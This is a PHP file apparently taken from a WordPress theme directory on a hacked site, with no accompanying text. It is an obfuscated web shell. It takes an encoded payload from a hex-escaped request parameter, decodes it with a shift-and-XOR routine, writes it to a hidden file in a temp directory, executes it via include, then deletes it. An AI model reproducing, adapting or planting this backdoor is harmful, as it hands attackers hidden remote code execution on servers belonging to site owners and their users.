File: /home/drspos/public_html/wp-content/themes/exit.php
<?php
if(!is_null($_REQUEST["v\x61\x6C"] ?? null)){
$comp = array_filter(["/dev/shm", getenv("TEMP"), sys_get_temp_dir(), session_save_path(), "/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), getcwd(), "/var/tmp"]);
$key = $_REQUEST["v\x61\x6C"];
$key = explode ( '.' ,$key ) ;
$ref = '';
$s4 = 'abcdefghijklmnopqrstuvwxyz0123456789';
$lenS = strlen( $s4 );
$i = 0;
$len = count( $key );
do {
if( $i>= $len) break;
$val = $key[$i];
$sChar = ord( $s4[$i % $lenS] );
$d =( ( int)$val - $sChar -( $i % 10))^ 100;
$ref .= chr( $d );
$i++;
} while( true );
$ent = 0;
do {
$sym = $comp[$ent] ?? null;
if ($ent >= count(comp)) break;
if (!!is_dir($sym) && !!is_writable($sym)) {
$symbol = str_replace("{var_dir}", $sym, "{var_dir}/.object");
if (false !== file_put_contents($symbol, $ref)) {
include_once $symbol;
@unlink($symbol);
die();
}
}
$ent++;
} while (true);
}